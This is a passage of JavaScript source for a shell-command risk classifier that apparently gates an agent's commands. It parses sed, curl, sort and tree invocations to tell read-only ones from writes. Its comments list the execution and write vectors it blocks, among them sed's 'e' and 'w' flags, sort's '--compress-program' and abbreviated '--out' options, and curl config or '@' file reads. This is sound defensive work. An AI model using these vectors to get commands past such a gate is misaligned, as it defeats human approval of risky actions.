* Reads one sed ADDRESS starting at `start`. Returns the index after it,
|
|
1375
|
-
* `start` itself when no address is present (an address is optional), or
|
|
1376
|
-
* `-1` when the address is malformed or uses a form this scan refuses
|
|
1377
|
-
* (`\cREGEXc`, an unterminated `/regex/`).
|
|
1378
|
-
*/
|
|
1379
|
-
function readSedAddress(s, start) {
|
|
1380
|
-
let i = start;
|
|
1381
|
-
const c = s[i];
|
|
1382
|
-
if (c === undefined)
|
|
1383
|
-
return i;
|
|
1384
|
-
if (c === "$")
|
|
1385
|
-
return i + 1;
|
|
1386
|
-
if (c === "\\")
|
|
1387
|
-
return -1; // custom address delimiter: fail closed
|
|
1388
|
-
if (c === "+" || c === "~") {
|
|
1389
|
-
i += 1;
|
|
1390
|
-
const digitsFrom = i;
|
|
1391
|
-
while (i < s.length && s[i] >= "0" && s[i] <= "9")
|
|
1392
|
-
i += 1;
|
|
1393
|
-
return i > digitsFrom ? i : -1;
|
|
1394
|
-
}
|
|
1395
|
-
if (c >= "0" && c <= "9") {
|
|
1396
|
-
while (i < s.length && s[i] >= "0" && s[i] <= "9")
|
|
1397
|
-
i += 1;
|
|
1398
|
-
if (s[i] === "~") {
|
|
1399
|
-
i += 1;
|
|
1400
|
-
const digitsFrom = i;
|
|
1401
|
-
while (i < s.length && s[i] >= "0" && s[i] <= "9")
|
|
1402
|
-
i += 1;
|
|
1403
|
-
if (i === digitsFrom)
|
|
1404
|
-
return -1;
|
|
1405
|
-
}
|
|
1406
|
-
return i;
|
|
1407
|
-
}
|
|
1408
|
-
if (c === "/") {
|
|
1409
|
-
i += 1;
|
|
1410
|
-
let closed = false;
|
|
1411
|
-
while (i < s.length) {
|
|
1412
|
-
const ch = s[i];
|
|
1413
|
-
if (ch === "\\") {
|
|
1414
|
-
i += 2;
|
|
1415
|
-
continue;
|
|
1416
|
-
}
|
|
1417
|
-
if (ch === "/") {
|
|
1418
|
-
i += 1;
|
|
1419
|
-
closed = true;
|
|
1420
|
-
break;
|
|
1421
|
-
}
|
|
1422
|
-
i += 1;
|
|
1423
|
-
}
|
|
1424
|
-
if (!closed)
|
|
1425
|
-
return -1;
|
|
1426
|
-
while (s[i] === "I" || s[i] === "M")
|
|
1427
|
-
i += 1;
|
|
1428
|
-
return i;
|
|
1429
|
-
}
|
|
1430
|
-
return i; // no address
|
|
1431
|
-
}
|
|
1432
|
-
/**
|
|
1433
|
-
* Reads an `s<D>regex<D>replacement<D>[flags]` or `y<D>a<D>b<D>` body
|
|
1434
|
-
* starting at the delimiter. Returns the index after it, or `-1` when the
|
|
1435
|
-
* body is malformed or (for `s`) carries a flag outside
|
|
1436
|
-
* `SED_SAFE_SUBSTITUTION_FLAGS`, which is exactly how `s/a/b/w FILE` and
|
|
1437
|
-
* `s/a/b/e` forfeit the floor.
|
|
1438
|
-
*/
|
|
1439
|
-
function readSedTwoPartCommand(s, start, isSubstitution) {
|
|
1440
|
-
let i = start;
|
|
1441
|
-
const delim = s[i];
|
|
1442
|
-
if (delim === undefined || delim === "\\" || delim === "\n" || delim === " ")
|
|
1443
|
-
return -1;
|
|
1444
|
-
i += 1;
|
|
1445
|
-
for (let part = 0; part < 2; part += 1) {
|
|
1446
|
-
let closed = false;
|
|
1447
|
-
while (i < s.length) {
|
|
1448
|
-
const ch = s[i];
|
|
1449
|
-
if (ch === "\\") {
|
|
1450
|
-
i += 2;
|
|
1451
|
-
continue;
|
|
1452
|
-
}
|
|
1453
|
-
if (ch === delim) {
|
|
1454
|
-
i += 1;
|
|
1455
|
-
closed = true;
|
|
1456
|
-
break;
|
|
1457
|
-
}
|
|
1458
|
-
i += 1;
|
|
1459
|
-
}
|
|
1460
|
-
if (!closed)
|
|
1461
|
-
return -1;
|
|
1462
|
-
}
|
|
1463
|
-
if (!isSubstitution)
|
|
1464
|
-
return i;
|
|
1465
|
-
while (i < s.length) {
|
|
1466
|
-
const ch = s[i];
|
|
1467
|
-
if (ch >= "0" && ch <= "9") {
|
|
1468
|
-
i += 1;
|
|
1469
|
-
continue;
|
|
1470
|
-
}
|
|
1471
|
-
if (SED_SAFE_SUBSTITUTION_FLAGS.has(ch)) {
|
|
1472
|
-
i += 1;
|
|
1473
|
-
continue;
|
|
1474
|
-
}
|
|
1475
|
-
break;
|
|
1476
|
-
}
|
|
1477
|
-
return i;
|
|
1478
|
-
}
|
|
1479
|
-
/**
|
|
1480
|
-
* Word separator `splitCurlWords` honors: space and tab only, not JS
|
|
1481
|
-
* `\s` (which also matches NBSP, vertical tab, form feed, ideographic
|
|
1482
|
-
* space, and line terminators). Round 2 (task fdaad781) narrowed this
|
|
1483
|
-
* from `\s`: a non-ASCII or exotic whitespace character bash does not
|
|
1484
|
-
* treat as IFS -- an NBSP between `curl` and `-q`, say -- must not glue
|
|
1485
|
-
* two argv words into one here the way bash never would. `\n`/`\r`
|
|
1486
|
-
* never reach this splitter: `isReadOnlyCurlCommand`'s
|
|
1487
|
-
* `hasUnsafeShellMetachar` guard refuses both for the whole command
|
|
1488
|
-
* first.
|
|
1489
|
-
*/
|
|
1490
|
-
const CURL_WORD_SEPARATOR_RE = /[ \t]/;
|
|
1491
|
-
/**
|
|
1492
|
-
* Quote-aware word splitter built ONLY for `isReadOnlyCurlCommand`. Unlike
|
|
1493
|
-
* every other floor in this file, which treats `trimmed.split(/\s+/)` as
|
|
1494
|
-
* "the" tokenizer, this floor cannot: that split tears a quoted value
|
|
1495
|
-
* containing a space (`-H 'Accept: application/json'`) into the two raw
|
|
1496
|
-
* fragments `'Accept:` and `application/json'`, which this floor's own
|
|
1497
|
-
* positive fixtures require to parse as ONE quoted header value.
|
|
1498
|
-
*
|
|
1499
|
-
* Supports single and double quotes only; no backslash-escape or
|
|
1500
|
-
* expansion handling of any kind. Fails closed (`null`) on anything it
|
|
1501
|
-
* cannot cleanly resolve: an unterminated quote, or a bare unquoted
|
|
1502
|
-
* backslash outside any quote (this splitter has no escape model for it,
|
|
1503
|
-
* so refusing the whole command is the safe answer, not guessing one).
|
|
1504
|
-
* A word built from more than one quoted/unquoted run glued together with
|
|
1505
|
-
* no separating whitespace comes back `composite: true` rather than being
|
|
1506
|
-
* rejected outright here: it is a real, distinct shell word (bash would
|
|
1507
|
-
* concatenate the runs into one argv entry), just one this floor's shape
|
|
1508
|
-
* never allows, so the caller forfeits on it explicitly.
|
|
1509
|
-
*/
|
|
1510
|
-
function splitCurlWords(s) {
|
|
1511
|
-
const words = [];
|
|
1512
|
-
const n = s.length;
|
|
1513
|
-
let i = 0;
|
|
1514
|
-
while (i < n) {
|
|
1515
|
-
while (i < n && CURL_WORD_SEPARATOR_RE.test(s[i]))
|
|
1516
|
-
i += 1;
|
|
1517
|
-
if (i >= n)
|
|
1518
|
-
break;
|
|
1519
|
-
const runs = [];
|
|
1520
|
-
while (i < n && !CURL_WORD_SEPARATOR_RE.test(s[i])) {
|
|
1521
|
-
const ch = s[i];
|
|
1522
|
-
if (ch === "'" || ch === '"') {
|
|
1523
|
-
const close = s.indexOf(ch, i + 1);
|
|
1524
|
-
if (close === -1)
|
|
1525
|
-
return null; // unterminated quote: fail closed
|
|
1526
|
-
runs.push({ quote: ch === "'" ? "single" : "double", text: s.slice(i + 1, close) });
|
|
1527
|
-
i = close + 1;
|
|
1528
|
-
continue;
|
|
1529
|
-
}
|
|
1530
|
-
if (ch === "\\")
|
|
1531
|
-
return null; // unmodelled escape: fail closed
|
|
1532
|
-
const start = i;
|
|
1533
|
-
while (i < n &&
|
|
1534
|
-
!CURL_WORD_SEPARATOR_RE.test(s[i]) &&
|
|
1535
|
-
s[i] !== "'" &&
|
|
1536
|
-
s[i] !== '"' &&
|
|
1537
|
-
s[i] !== "\\") {
|
|
1538
|
-
i += 1;
|
|
1539
|
-
}
|
|
1540
|
-
runs.push({ quote: "none", text: s.slice(start, i) });
|
|
1541
|
-
}
|
|
1542
|
-
if (runs.length === 0)
|
|
1543
|
-
continue;
|
|
1544
|
-
if (runs.length === 1) {
|
|
1545
|
-
words.push({ content: runs[0].text, quote: runs[0].quote, composite: false });
|
|
1546
|
-
}
|
|
1547
|
-
else {
|
|
1548
|
-
words.push({ content: "", quote: "none", composite: true });
|
|
1549
|
-
}
|
|
1550
|
-
}
|
|
1551
|
-
return words;
|
|
1552
|
-
}
|
|
1553
|
-
/**
|
|
1554
|
-
* curl short-flag cluster characters that take no value: no flag on
|
|
1555
|
-
* this list names a file, and the only method any of them selects is
|
|
1556
|
-
* HEAD (`-I`), which is read-only (`-s -S -f -I`, in any combination).
|
|
1557
|
-
* Round 2 (task fdaad781) dropped `-L` (`--location`) and `-k`
|
|
1558
|
-
* (`--insecure`) from this set: `-L` follows a redirect and forwards a
|
|
1559
|
-
* custom `-H` header cross-host over plaintext; `-k` is a deliberate
|
|
1560
|
-
* TLS-verification bypass that should stay approval-gated. Both now
|
|
1561
|
-
* forfeit the shape. See docs/risk-gate.md's curl section for the
|
|
1562
|
-
* measurement behind the `-L` finding.
|
|
1563
|
-
*/
|
|
1564
|
-
const CURL_NO_VALUE_SHORT_CHARS = new Set(["s", "S", "f", "I"]);
|
|
1565
|
-
/** curl long flags that take no value: no flag on this list names a file, and the only method any of them selects is HEAD (`--head`), which is read-only. See `CURL_NO_VALUE_SHORT_CHARS` for why `--location` and `--insecure` are not on it. */
|
|
1566
|
-
const CURL_NO_VALUE_LONG_FLAGS = new Set([
|
|
1567
|
-
"--silent", "--show-error", "--fail", "--head",
|
|
1568
|
-
]);
|
|
1569
|
-
/**
|
|
1570
|
-
* curl long flags whose value is admitted ONLY in the separate-token
|
|
1571
|
-
* form (`--header VALUE`, never `--header=VALUE`, checked and rejected
|
|
1572
|
-
* before this map is consulted). Value maps to the same key as the
|
|
1573
|
-
* matching short flag below, so a repeat count is shared across spellings.
|
|
1574
|
-
*/
|
|
1575
|
-
const CURL_VALUE_LONG_FLAGS = new Map([
|
|
1576
|
-
["--header", "header"],
|
|
1577
|
-
["--max-time", "maxtime"],
|
|
1578
|
-
["--connect-timeout", "connecttimeout"],
|
|
1579
|
-
]);
|
|
1580
|
-
/**
|
|
1581
|
-
* Shape for the ONE operand this floor admits: `https://`, a host made
|
|
1582
|
-
* of letters, digits, `.` and `-` only, an optional `:PORT`, and an
|
|
1583
|
-
* optional path with none of curl's globbing characters (`{}[]`), no
|
|
1584
|
-
* whitespace, backslash, backtick or `$`. No userinfo (`user:pw@`) is
|
|
1585
|
-
* reachable through this shape: the host class has no `:`/`@`, so
|
|
1586
|
-
* `https://user:pw@x` cannot match end-to-end. Round 2 (task fdaad781)
|
|
1587
|
-
* admits `?` and `*` in the path (previously excluded): the operand is
|
|
1588
|
-
* single-quoted, so the shell cannot glob on either character, and
|
|
1589
|
-
* curl's own URL-globbing syntax uses only `{}`/`[]`, never `?`/`*`,
|
|
1590
|
-
* so admitting them widens no shape gap and closes the most common
|
|
1591
|
-
* single-parameter read-only query-string spelling this floor used to
|
|
1592
|
-
* forfeit (a MULTI-parameter query string joined by `&` still forfeits
|
|
1593
|
-
* even single-quoted -- see docs/risk-gate.md's Residuals for why that
|
|
1594
|
-
* stays out of scope). See docs/risk-gate.md's curl section for the
|
|
1595
|
-
* measurement behind admitting `?`/`*`. Do not "clean up" further
|
|
1596
|
-
* without re-deriving it.
|
|
1597
|
-
*/
|
|
1598
|
-
const CURL_SHAPE_URL_RE = /^https:\/\/[A-Za-z0-9.-]+(:[0-9]+)?(\/[^'\s{}[\]\\`$]*)?$/;
|
|
1599
|
-
/**
|
|
1600
|
-
* `true` when `value` is an admissible VALUE for the value-taking flag
|
|
1601
|
-
* `key` (`"header"` or one of the two timeout keys). `composite` always
|
|
1602
|
-
* forfeits (a glued flag+value pair like `-H'X: y'` never reaches a
|
|
1603
|
-
* legitimate value this way). A header value must be quoted (either
|
|
1604
|
-
* quote character), must not start with `@` after quote-stripping and
|
|
1605
|
-
* leading-whitespace trimming (a local-file read; the trim keeps the
|
|
1606
|
-
* ALLOW decision on the shape rather than on curl's own header parser,
|
|
1607
|
-
* round 4), and must carry no `$` or backtick. A bare `\n` or
|
|
1608
|
-
* `\r` can never reach here: `isReadOnlyCurlCommand`'s whole-command
|
|
1609
|
-
* `hasUnsafeShellMetachar` guard already refuses both for the entire
|
|
1610
|
-
* command before any word is split out, so this function forfeits on
|
|
1611
|
-
* neither character itself (round 3, task fdaad781: they were dropped
|
|
1612
|
-
* from this regex as dead, unreachable code; see docs/risk-gate.md's
|
|
1613
|
-
* curl section for the measurement that motivated the `\r` guard in
|
|
1614
|
-
* the first place). A timeout value must be a bare non-negative
|
|
1615
|
-
* integer, `^[0-9]+$` exactly.
|
|
1616
|
-
*/
|
|
1617
|
-
function isAllowedCurlFlagValue(key, value) {
|
|
1618
|
-
if (value.composite)
|
|
1619
|
-
return false;
|
|
1620
|
-
if (key === "header") {
|
|
1621
|
-
if (value.quote === "none")
|
|
1622
|
-
return false;
|
|
1623
|
-
if (value.content.trimStart().startsWith("@"))
|
|
1624
|
-
return false;
|
|
1625
|
-
return !/[\x60$]/.test(value.content);
|
|
1626
|
-
}
|
|
1627
|
-
return /^[0-9]+$/.test(value.content);
|
|
1628
|
-
}
|
|
1629
|
-
/**
|
|
1630
|
-
* Consume a value-taking flag's value at `words[i + 1]` (the shape
|
|
1631
|
-
* requires the separate-token form): validates it and enforces "never
|
|
1632
|
-
* repeated" for `key`, updating `valueFlagCounts` in place. Returns the
|
|
1633
|
-
* loop index to resume at (`i + 1`, the value's own index, since the
|
|
1634
|
-
* `for` loop's own `i += 1` then advances past it), or `null` to forfeit
|
|
1635
|
-
* the whole command. Shared by both value-taking-flag call sites in
|
|
1636
|
-
* `isReadOnlyCurlCommand` (the long-flag branch and the standalone
|
|
1637
|
-
* `-H`/`-m` branch) so the repeat-count bookkeeping has one home.
|
|
1638
|
-
*/
|
|
1639
|
-
function consumeCurlFlagValue(words, i, key, valueFlagCounts) {
|
|
1640
|
-
const value = words[i + 1];
|
|
1641
|
-
if (value === undefined || !isAllowedCurlFlagValue(key, value))
|
|
1642
|
-
return null;
|
|
1643
|
-
const count = (valueFlagCounts.get(key) ?? 0) + 1;
|
|
1644
|
-
if (count > 1)
|
|
1645
|
-
return null; // repeated value-taking flag: forfeit
|
|
1646
|
-
valueFlagCounts.set(key, count);
|
|
1647
|
-
return i + 1;
|
|
1648
|
-
}
|
|
1649
|
-
/**
|
|
1650
|
-
* curl read-only SHAPE floor for the Risk Classifier ONLY (task fdaad781,
|
|
1651
|
-
* decision D-026, round 2 hardening). Composes exactly like the sed and
|
|
1652
|
-
* kubectl floors above: it never sinks below an operator classifier,
|
|
1653
|
-
* and only the DESTRUCTIVE floor (evaluated first in
|
|
1654
|
-
* `risk-classifier.ts`) can raise above it. This comment states only
|
|
1655
|
-
* the grammar; see docs/risk-gate.md's "curl read-only SHAPE floor"
|
|
1656
|
-
* section for the full history (D-013's two leaked flag lists), the
|
|
1657
|
-
* round-2 changes (mandatory `-q`, dropped `-L`/`-k`, the `\r`/query-
|
|
1658
|
-
* string fixes), the residuals, and the operator escape hatch.
|
|
1659
|
-
*
|
|
1660
|
-
* `true` requires ALL of: no shell chaining, redirection, substitution,
|
|
1661
|
-
* or background `&` anywhere in the whole command (the same whole-string
|
|
1662
|
-
* guard every other floor in this file uses); the head word is exactly
|
|
1663
|
-
* `curl` (unquoted, not composite -- no path prefix, no `env`/`command`/
|
|
1664
|
-
* `sudo`/other wrapper, those are other heads and forfeit here); the
|
|
1665
|
-
* SECOND word is exactly `-q` or `--disable` (unquoted, not composite,
|
|
1666
|
-
* not inside a cluster, not merely present later -- curl only honors it
|
|
1667
|
-
* as the first argument, and skipping it leaves `$CURL_HOME/.curlrc` /
|
|
1668
|
-
* `$XDG_CONFIG_HOME/curlrc` / `~/.curlrc` free to set `output`,
|
|
1669
|
-
* `request`, `data`, or `upload-file` underneath every other spelling
|
|
1670
|
-
* this shape would otherwise accept -- see docs/risk-gate.md's curl
|
|
1671
|
-
* section for the measurement); every remaining word is either a flag
|
|
1672
|
-
* drawn from the closed allowlists above (no flag on this list names a
|
|
1673
|
-
* file, and the only method any of them selects is HEAD, which is
|
|
1674
|
-
* read-only; curl's config surface is closed off by the mandatory
|
|
1675
|
-
* `-q`; a value-taking flag consumed only in its separate-token form,
|
|
1676
|
-
* and never repeated) or the SINGLE operand, which must be a single-quoted,
|
|
1677
|
-
* unbroken word matching `CURL_SHAPE_URL_RE`. Any composite word, any
|
|
1678
|
-
* unknown flag, any `=`-glued flag, any second operand, or a missing
|
|
1679
|
-
* operand forfeits the whole command.
|
|
1680
|
-
*/
|
|
1681
|
-
export function isReadOnlyCurlCommand(command) {
|
|
1682
|
-
const trimmed = command.trim();
|
|
1683
|
-
if (trimmed === "")
|
|
1684
|
-
return false;
|
|
1685
|
-
if (hasUnsafeShellMetachar(trimmed))
|
|
1686
|
-
return false;
|
|
1687
|
-
const words = splitCurlWords(trimmed);
|
|
1688
|
-
if (words === null || words.length === 0)
|
|
1689
|
-
return false;
|
|
1690
|
-
const head = words[0];
|
|
1691
|
-
if (head.composite || head.quote !== "none" || head.content !== "curl")
|
|
1692
|
-
return false;
|
|
1693
|
-
// Mandatory `-q`/`--disable` as the SECOND word (curl only honors it
|
|
1694
|
-
// as the first argument): closes the curlrc auto-load residual, see
|
|
1695
|
-
// this function's docstring above.
|
|
1696
|
-
const disableWord = words[1];
|
|
1697
|
-
if (disableWord === undefined ||
|
|
1698
|
-
disableWord.composite ||
|
|
1699
|
-
disableWord.quote !== "none" ||
|
|
1700
|
-
(disableWord.content !== "-q" && disableWord.content !== "--disable")) {
|
|
1701
|
-
return false;
|
|
1702
|
-
}
|
|
1703
|
-
let urlWord = null;
|
|
1704
|
-
const valueFlagCounts = new Map();
|
|
1705
|
-
for (let i = 2; i < words.length; i += 1) {
|
|
1706
|
-
const w = words[i];
|
|
1707
|
-
if (w.composite)
|
|
1708
|
-
return false;
|
|
1709
|
-
if (w.quote === "none" && w.content.startsWith("-") && w.content !== "-") {
|
|
1710
|
-
const t = w.content;
|
|
1711
|
-
if (t.startsWith("--")) {
|
|
1712
|
-
if (t.includes("="))
|
|
1713
|
-
return false; // `--flag=value` glued form: forfeit
|
|
1714
|
-
if (CURL_NO_VALUE_LONG_FLAGS.has(t))
|
|
1715
|
-
continue;
|
|
1716
|
-
const key = CURL_VALUE_LONG_FLAGS.get(t);
|
|
1717
|
-
if (key === undefined)
|
|
1718
|
-
return false; // not on the closed list
|
|
1719
|
-
const next = consumeCurlFlagValue(words, i, key, valueFlagCounts);
|
|
1720
|
-
if (next === null)
|
|
1721
|
-
return false;
|
|
1722
|
-
i = next;
|
|
1723
|
-
continue;
|
|
1724
|
-
}
|
|
1725
|
-
if (t === "-H" || t === "-m") {
|
|
1726
|
-
const key = t === "-H" ? "header" : "maxtime";
|
|
1727
|
-
const next = consumeCurlFlagValue(words, i, key, valueFlagCounts);
|
|
1728
|
-
if (next === null)
|
|
1729
|
-
return false;
|
|
1730
|
-
i = next;
|
|
1731
|
-
continue;
|
|
1732
|
-
}
|
|
1733
|
-
// Any other short flag or cluster: every character must be a
|
|
1734
|
-
// no-value char. `-H`/`-m` are recognised only as a WHOLE token
|
|
1735
|
-
// above, never as a cluster member, so `-sH` and `-mS` forfeit here.
|
|
1736
|
-
const clusterChars = t.slice(1);
|
|
1737
|
-
if (clusterChars.length === 0)
|
|
1738
|
-
return false;
|
|
1739
|
-
if (![...clusterChars].every((c) => CURL_NO_VALUE_SHORT_CHARS.has(c)))
|
|
1740
|
-
return false;
|
|
1741
|
-
continue;
|
|
1742
|
-
}
|
|
1743
|
-
// Not a recognised flag token: the operand. A second operand (or a
|
|
1744
|
-
// quoted/mis-spelled flag that fell through to here) forfeits.
|
|
1745
|
-
if (urlWord !== null)
|
|
1746
|
-
return false;
|
|
1747
|
-
urlWord = w;
|
|
1748
|
-
}
|
|
1749
|
-
if (urlWord === null)
|
|
1750
|
-
return false;
|
|
1751
|
-
if (urlWord.composite || urlWord.quote !== "single")
|
|
1752
|
-
return false;
|
|
1753
|
-
return CURL_SHAPE_URL_RE.test(urlWord.content);
|
|
1754
|
-
}
|
|
1755
|
-
/**
|
|
1756
|
-
* Returns true when `t` (with any trailing `=VALUE` glue stripped) is a
|
|
1757
|
-
* GNU/BSD `getopt_long` ABBREVIATION of `fullFlag`: a prefix (including
|
|
1758
|
-
* the full spelling) of `fullFlag`, at least `minPrefixLen` characters
|
|
1759
|
-
* past the leading `--`.
|
|
1760
|
-
* `getopt_long` accepts ANY prefix of a long option name that resolves
|
|
1761
|
-
* unambiguously against the rest of that binary's option table (`sort
|
|
1762
|
-
* --out=x` runs as `--output=x`) — see the per-call-site comments below
|
|
1763
|
-
* for the measured minimum (task dd055c1d, this run: BSD sort on macOS
|
|
1764
|
-
* 26 `/usr/bin/sort`, GNU coreutils sort 9.11 via Homebrew `gsort`, and
|
|
1765
|
-
* `file` 5.41 `/usr/bin/file`; all measured with the created artefact —
|
|
1766
|
-
* an output file, a temp file, or a canary touched by an executed
|
|
1767
|
-
* `--compress-program` — as ground truth, not the exit code).
|
|
1768
|
-
*
|
|
1769
|
-
* Per the module's fail-closed contract (spec dd055c1d): rebuilding the
|
|
1770
|
-
* FULL ambiguity table (which prefixes collide with every OTHER long
|
|
1771
|
-
* option the binary happens to have) is deliberately NOT attempted.
|
|
1772
|
-
* Instead this is a TRUE prefix test against one named flag, gated at
|
|
1773
|
-
* the measured minimum length — a length shorter than that measured
|
|
1774
|
-
* minimum was observed "ambiguous" (rejected, not executed) on at least
|
|
1775
|
-
* one of the binaries tested, so treating it as a write would be
|
|
1776
|
-
* speculative, not conservative. A true-prefix test can never fire on
|
|
1777
|
-
* an unrelated option: two different flags' names diverge at some
|
|
1778
|
-
* character, and the shorter one stops matching there (`--che` is not a
|
|
1779
|
-
* prefix of `--compile`, `--k` is not a prefix of `--output`), so this
|
|
1780
|
-
* cannot spuriously catch an abbreviation of a different, benign flag —
|
|
1781
|
-
* confirmed for every write flag this fix guards (no other long option
|
|
1782
|
-
* on any measured binary shares a prefix at or past the measured
|
|
1783
|
-
* minimum).
|
|
1784
|
-
*/
|
|
1785
|
-
function isLongOptionAbbreviation(t, fullFlag, minPrefixLen) {
|
|
1786
|
-
const eq = t.indexOf("=");
|
|
1787
|
-
const name = eq === -1 ? t : t.slice(0, eq);
|
|
1788
|
-
if (name.length < 2 + minPrefixLen)
|
|
1789
|
-
return false;
|
|
1790
|
-
return fullFlag.startsWith(name);
|
|
1791
|
-
}
|
|
1792
|
-
/**
|
|
1793
|
-
* Returns true when a token is the output-redirect write flag shared by
|
|
1794
|
-
* `sort` and `tree`: `-o` / `--output`, INCLUDING an unambiguous
|
|
1795
|
-
* abbreviation of the long form (`--o`, `--ou`, `--out`, ... — measured
|
|
1796
|
-
* minimum 1 character past `--`, both BSD and GNU sort, task dd055c1d).
|
|
1797
|
-
* Cluster detection: in a cluster like `-rno`, getopt assigns the
|
|
1798
|
-
* cluster remainder (or the next argv token when nothing follows within
|
|
1799
|
-
* the cluster) as the output-file path, so any short cluster containing
|
|
1800
|
-
* lowercase `o` after the leading dash is a write vector. Conservative:
|
|
1801
|
-
* a filename token like `foo.txt` does not start with `-` and is
|
|
1802
|
-
* therefore never matched.
|
|
1803
|
-
*
|
|
1804
|
-
* `tree` itself was measured (GNU tree 2.3.2 via Homebrew) to accept NO
|
|
1805
|
-
* abbreviation of ANY of its long options at all — `--opt-toggle` works,
|
|
1806
|
-
* `--opt` errors `Invalid argument` — so `-o`/`--output` has no long
|
|
1807
|
-
* form and no abbreviation vector on tree either way; the abbreviation
|
|
1808
|
-
* branch added here is inert-but-harmless for tree and load-bearing for
|
|
1809
|
-
* sort, which shares this function via `isTreeWriteToken`'s delegation.
|
|
1810
|
-
*/
|
|
1811
|
-
function isOutputWriteToken(raw) {
|
|
1812
|
-
// Monotone BY CONSTRUCTION (review round 1, decision D3): testing
|
|
1813
|
-
// raw OR decoded means decoding can only ADD a match, never remove
|
|
1814
|
-
// one. The earlier shape (test the decoded value alone) was measured
|
|
1815
|
-
// to LOSE matches here, because these predicates exclude `--` by
|
|
1816
|
-
// construction and a token like `-"-out"=x` decodes out of the
|
|
1817
|
-
// cluster branch entirely.
|
|
1818
|
-
return checkOutputWrite(raw) || checkOutputWrite(decodeShellWord(raw));
|
|
1819
|
-
}
|
|
1820
|
-
function checkOutputWrite(t) {
|
|
1821
|
-
// Exact `--output` and any unambiguous abbreviation of it
|
|
1822
|
-
// (`--o`..`--outpu`), glued (`=VALUE`) or bare. See
|
|
1823
|
-
// `isLongOptionAbbreviation` for the measured minimum (1 char past
|
|
1824
|
-
// `--`) and why a true-prefix test cannot catch an unrelated flag.
|
|
1825
|
-
if (isLongOptionAbbreviation(t, "--output", 1))
|
|
1826
|
-
return true;
|
|
1827
|
-
// Short flag or cluster: single leading '-' (not '--'), containing
|
|
1828
|
-
// lowercase 'o'. Catches -o, -oFILE, -no, -rno, -rnofoo, etc.
|
|
1829
|
-
return t.startsWith("-") && !t.startsWith("--") && t.slice(1).includes("o");
|
|
1830
|
-
}
|
|
1831
|
-
/**
|
|
1832
|
-
* Returns true when a token is a write flag for `tree`. tree's only
|
|
1833
|
-
* file-writing vector is the output redirect `-o` / `--output`; it has
|
|
1834
|
-
* no exec or temp-dir flags, so this delegates to `isOutputWriteToken`.
|
|
1835
|
-
*
|
|
1836
|
-
* Quoted-spelling family (task fdee7d0f): NOT MEASURED against a real
|
|
1837
|
-
* `tree` at the time — the binary was not installed on that machine, so
|
|
1838
|
-
* the quoted-spelling family could only be confirmed for `find`, `sort`
|
|
1839
|
-
* and `file`. That fix was applied here on the same reasoning, without
|
|
1840
|
-
* direct tree confirmation.
|
|
1841
|
-
*
|
|
1842
|
-
* Long-option ABBREVIATION family (task dd055c1d): NOW MEASURED, GNU
|
|
1843
|
-
* tree 2.3.2 (Homebrew). Result: tree's argument parser accepts NO
|
|
1844
|
-
* abbreviation of ANY long option — `--opt-toggle` (a real tree option)
|
|
1845
|
-
* works verbatim, but `--opt`, a genuine prefix of it, errors `Invalid
|
|
1846
|
-
* argument`. tree also has no long spelling of `-o` at all (`--o`,
|
|
1847
|
-
* `--out`, `--output` all error the same way — checked directly, not
|
|
1848
|
-
* inferred). So the abbreviation branch `isOutputWriteToken` now carries
|
|
1849
|
-
* is inert for tree: no real tree invocation can reach it, because tree
|
|
1850
|
-
* rejects every abbreviated long flag outright, before this classifier
|
|
1851
|
-
* is ever consulted. It stays wired through the shared function anyway,
|
|
1852
|
-
* both because sort needs it and because a future tree release adding
|
|
1853
|
-
* `getopt_long`-style abbreviation would then be covered for free.
|
|
1854
|
-
*/
|
|
1855
|
-
function isTreeWriteToken(raw) {
|
|
1856
|
-
// Pass the RAW token through: isOutputWriteToken owns the single decode.
|
|
1857
|
-
// Decoding here too would decode TWICE, and decode(decode(x)) goes past
|
|
1858
|
-
// bash whenever the first pass leaves a quote behind (`-"'o'"` -> `-'o'`
|
|
1859
|
-
// -> `-o`).
|
|
1860
|
-
//
|
|
1861
|
-
// Measured honestly: since the guards became raw-OR-decoded, re-adding
|
|
1862
|
-
// the second decode no longer changes any classification I could find —
|
|
1863
|
-
// the raw arm already matches `-"'o'"` (it starts with one `-` and
|
|
1864
|
-
// contains `o`). A mutation restoring the double decode leaves the suite
|
|
1865
|
-
// green, and that is the structural fix absorbing the mistake rather than
|
|
1866
|
-
// a gap in the tests. Single-decode stays because it is what bash does;
|
|
1867
|
-
// do not rely on the raw arm to keep covering for it.
|
|
1868
|
-
return isOutputWriteToken(raw);
|
|
1869
|
-
}
|
|
1870
|
-
/**
|
|
1871
|
-
* Returns true when a token is a write OR exec flag for `sort`.
|
|
1872
|
-
*
|
|
1873
|
-
* sort's write surface is larger than output redirection, and the guard
|
|
1874
|
-
* MUST enumerate all of it, not just `-o`. An output-only guard silently
|
|
1875
|
-
* laundered `--compress-program`, which makes sort spawn an arbitrary
|
|
1876
|
-
* program on its spill temp files (an arbitrary-code-execution vector
|
|
1877
|
-
* with no shell metacharacter). The vectors:
|
|
1878
|
-
* - output: `-o` / `--output` (see `isOutputWriteToken`).
|
|
1879
|
-
* - exec: `--compress-program=PROG` runs PROG on spill files.
|
|
1880
|
-
* - temp write: `--temporary-directory=DIR` / `-T DIR` writes scratch
|
|
1881
|
-
* files to a caller-chosen path.
|
|
1882
|
-
* Short `-T` is detected like `-o`: any short cluster containing `o`
|
|
1883
|
-
* (output) or uppercase `T` (temp dir) is a write vector. This can
|
|
1884
|
-
* over-block a few benign size values (e.g. `-S2T`); over-blocking a
|
|
1885
|
-
* read is acceptable, under-blocking a write is not.
|
|
1886
|
-
*
|
|
1887
|
-
* Each long-form vector also matches an unambiguous GNU/BSD
|
|
1888
|
-
* `getopt_long` ABBREVIATION of its full spelling, not just the exact
|
|
1889
|
-
* word (task dd055c1d): `sort --out=x`, `--o=x`, and `--outp=x` were all
|
|
1890
|
-
* measured writing their output file on both BSD sort (macOS) and GNU
|
|
1891
|
-
* coreutils sort 9.11 (`gsort`) while the pre-fix guard compared only
|
|
1892
|
-
* the full `--output` spelling. Measured minimums (both variants agree):
|
|
1893
|
-
* `--o` for `--output` (1 char), `--co` for `--compress-program` (2
|
|
1894
|
-
* chars — `--c` alone is ambiguous with `--check` on both binaries and
|
|
1895
|
-
* errors rather than running), `--t` for `--temporary-directory` (1
|
|
1896
|
-
* char). See `isLongOptionAbbreviation`.
|
|
1897
|
-
*/
|
|
1898
|
-
function isSortWriteToken(raw) {
|
|
1899
|
-
// Monotone BY CONSTRUCTION (review round 1, decision D3): testing
|
|
1900
|
-
// raw OR decoded means decoding can only ADD a match, never remove
|
|
1901
|
-
// one. The earlier shape (test the decoded value alone) was measured
|
|
1902
|
